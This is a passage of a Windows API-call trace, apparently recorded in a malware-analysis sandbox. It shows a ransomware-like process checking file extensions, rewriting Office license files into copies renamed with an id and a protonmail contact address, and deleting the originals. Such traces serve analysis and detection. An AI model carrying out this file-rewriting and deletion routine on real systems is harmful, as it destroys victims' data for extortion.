	[0198.595] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.595] lstrlenW (lpString=".bz2") returned 4
	[0198.595] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.595] lstrlenW (lpString=".7z") returned 3
	[0198.595] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0198.595] lstrlenW (lpString=".dbf") returned 4
	[0198.595] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0198.595] lstrlenW (lpString=".1cd") returned 4
	[0198.595] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0198.595] lstrlenW (lpString=".jpg") returned 4
	[0198.595] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0198.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0198.595] lstrlenW (lpString=".doc") returned 4
	[0198.595] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.595] lstrlenW (lpString=".docx") returned 5
	[0198.595] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.595] lstrlenW (lpString=".pdf") returned 4
	[0198.596] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.596] lstrlenW (lpString=".xls") returned 4
	[0198.596] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.596] lstrlenW (lpString=".xlsx") returned 5
	[0198.596] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.596] lstrlenW (lpString=".ppt") returned 4
	[0198.596] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0198.596] lstrlenW (lpString=".zip") returned 4
	[0198.596] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.596] lstrlenW (lpString=".rar") returned 4
	[0198.596] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.596] lstrlenW (lpString=".bz2") returned 4
	[0198.596] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.596] lstrlenW (lpString=".7z") returned 3
	[0198.596] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0198.596] lstrlenW (lpString=".dbf") returned 4
	[0198.597] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0198.597] lstrlenW (lpString=".1cd") returned 4
	[0198.597] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0198.597] lstrlenW (lpString=".jpg") returned 4
	[0198.597] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.597] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0198.597] lstrlenW (lpString="MondoR_SubTest2-pl.xrm-ms") returned 25
	[0198.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0198.598] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11151) returned 1
	[0198.598] CloseHandle (hObject=0x5d8) returned 1
	[0198.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms")) returned 0x220
	[0198.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0198.598] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.599] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0198.599] GetLastError () returned 0x0
	[0198.599] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2b8f, lpOverlapped=0x0) returned 1
	[0198.601] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2b90, lpOverlapped=0x0) returned 1
	[0198.602] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.602] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x106, lpOverlapped=0x0) returned 1
	[0198.602] SetEndOfFile (hFile=0x580) returned 1
	[0198.602] CloseHandle (hObject=0x580) returned 1
	[0198.603] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.603] SetEndOfFile (hFile=0x5d8) returned 1
	[0198.605] CloseHandle (hObject=0x5d8) returned 1
	[0198.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.606] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms")) returned 1
	[0198.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0198.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0198.607] lstrlenW (lpString=".doc") returned 4
	[0198.607] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.607] lstrlenW (lpString=".docx") returned 5
	[0198.607] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.607] lstrlenW (lpString=".pdf") returned 4
	[0198.607] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.607] lstrlenW (lpString=".xls") returned 4
	[0198.607] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.607] lstrlenW (lpString=".xlsx") returned 5
	[0198.607] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.607] lstrlenW (lpString=".ppt") returned 4
	[0198.607] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0198.607] lstrlenW (lpString=".zip") returned 4
	[0198.607] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.607] lstrlenW (lpString=".rar") returned 4
	[0198.607] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.607] lstrlenW (lpString=".bz2") returned 4
	[0198.607] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.607] lstrlenW (lpString=".7z") returned 3
	[0198.607] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0198.607] lstrlenW (lpString=".dbf") returned 4
	[0198.607] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0198.607] lstrlenW (lpString=".1cd") returned 4
	[0198.607] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0198.607] lstrlenW (lpString=".jpg") returned 4
	[0198.607] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0198.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0198.608] lstrlenW (lpString=".doc") returned 4
	[0198.608] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.608] lstrlenW (lpString=".docx") returned 5
	[0198.608] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.608] lstrlenW (lpString=".pdf") returned 4
	[0198.608] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.608] lstrlenW (lpString=".xls") returned 4
	[0198.608] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.608] lstrlenW (lpString=".xlsx") returned 5
	[0198.608] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.608] lstrlenW (lpString=".ppt") returned 4
	[0198.608] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0198.608] lstrlenW (lpString=".zip") returned 4
	[0198.608] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.608] lstrlenW (lpString=".rar") returned 4
	[0198.608] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.608] lstrlenW (lpString=".bz2") returned 4
	[0198.608] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.608] lstrlenW (lpString=".7z") returned 3
	[0198.608] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0198.608] lstrlenW (lpString=".dbf") returned 4
	[0198.608] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0198.608] lstrlenW (lpString=".1cd") returned 4
	[0198.608] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0198.608] lstrlenW (lpString=".jpg") returned 4
	[0198.608] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.609] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0198.609] lstrlenW (lpString="MondoR_SubTest2-ppd.xrm-ms") returned 26
	[0198.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0198.609] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=26525) returned 1
	[0198.609] CloseHandle (hObject=0x5d8) returned 1
	[0198.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms")) returned 0x220
	[0198.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0198.610] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.610] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0198.611] GetLastError () returned 0x0
	[0198.611] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x679d, lpOverlapped=0x0) returned 1
	[0198.932] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x67a0, lpOverlapped=0x0) returned 1
	[0198.933] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.933] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x108, lpOverlapped=0x0) returned 1
	[0198.933] SetEndOfFile (hFile=0x580) returned 1
	[0199.260] CloseHandle (hObject=0x580) returned 1
	[0199.260] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.260] SetEndOfFile (hFile=0x5d8) returned 1
	[0199.264] CloseHandle (hObject=0x5d8) returned 1
	[0199.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.265] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms")) returned 1
	[0199.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0199.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0199.266] lstrlenW (lpString=".doc") returned 4
	[0199.266] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.266] lstrlenW (lpString=".docx") returned 5
	[0199.266] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.266] lstrlenW (lpString=".pdf") returned 4
	[0199.266] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.266] lstrlenW (lpString=".xls") returned 4
	[0199.266] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.266] lstrlenW (lpString=".xlsx") returned 5
	[0199.266] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.266] lstrlenW (lpString=".ppt") returned 4
	[0199.266] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0199.266] lstrlenW (lpString=".zip") returned 4
	[0199.266] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.266] lstrlenW (lpString=".rar") returned 4
	[0199.266] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.266] lstrlenW (lpString=".bz2") returned 4
	[0199.266] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.266] lstrlenW (lpString=".7z") returned 3
	[0199.266] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0199.266] lstrlenW (lpString=".dbf") returned 4
	[0199.266] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0199.266] lstrlenW (lpString=".1cd") returned 4
	[0199.266] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0199.266] lstrlenW (lpString=".jpg") returned 4
	[0199.267] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0199.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0199.267] lstrlenW (lpString=".doc") returned 4
	[0199.267] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.267] lstrlenW (lpString=".docx") returned 5
	[0199.267] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.267] lstrlenW (lpString=".pdf") returned 4
	[0199.267] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.267] lstrlenW (lpString=".xls") returned 4
	[0199.267] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.267] lstrlenW (lpString=".xlsx") returned 5
	[0199.267] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.267] lstrlenW (lpString=".ppt") returned 4
	[0199.267] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0199.267] lstrlenW (lpString=".zip") returned 4
	[0199.267] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.267] lstrlenW (lpString=".rar") returned 4
	[0199.267] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.267] lstrlenW (lpString=".bz2") returned 4
	[0199.267] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.268] lstrlenW (lpString=".7z") returned 3
	[0199.268] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0199.268] lstrlenW (lpString=".dbf") returned 4
	[0199.268] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0199.268] lstrlenW (lpString=".1cd") returned 4
	[0199.268] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0199.268] lstrlenW (lpString=".jpg") returned 4
	[0199.268] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.268] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0199.268] lstrlenW (lpString="MondoR_SubTrial2-pl.xrm-ms") returned 26
	[0199.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0199.269] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11155) returned 1
	[0199.269] CloseHandle (hObject=0x5d8) returned 1
	[0199.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms")) returned 0x220
	[0199.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0199.270] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.270] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0199.270] GetLastError () returned 0x0
	[0199.270] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2b93, lpOverlapped=0x0) returned 1
	[0199.272] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2ba0, lpOverlapped=0x0) returned 1
	[0199.274] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.274] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x108, lpOverlapped=0x0) returned 1
	[0199.274] SetEndOfFile (hFile=0x580) returned 1
	[0199.274] CloseHandle (hObject=0x580) returned 1
	[0199.274] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.274] SetEndOfFile (hFile=0x5d8) returned 1
	[0199.277] CloseHandle (hObject=0x5d8) returned 1
	[0199.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.277] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms")) returned 1
	[0199.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0199.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0199.278] lstrlenW (lpString=".doc") returned 4
	[0199.278] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.278] lstrlenW (lpString=".docx") returned 5
	[0199.278] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.278] lstrlenW (lpString=".pdf") returned 4
	[0199.278] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.278] lstrlenW (lpString=".xls") returned 4
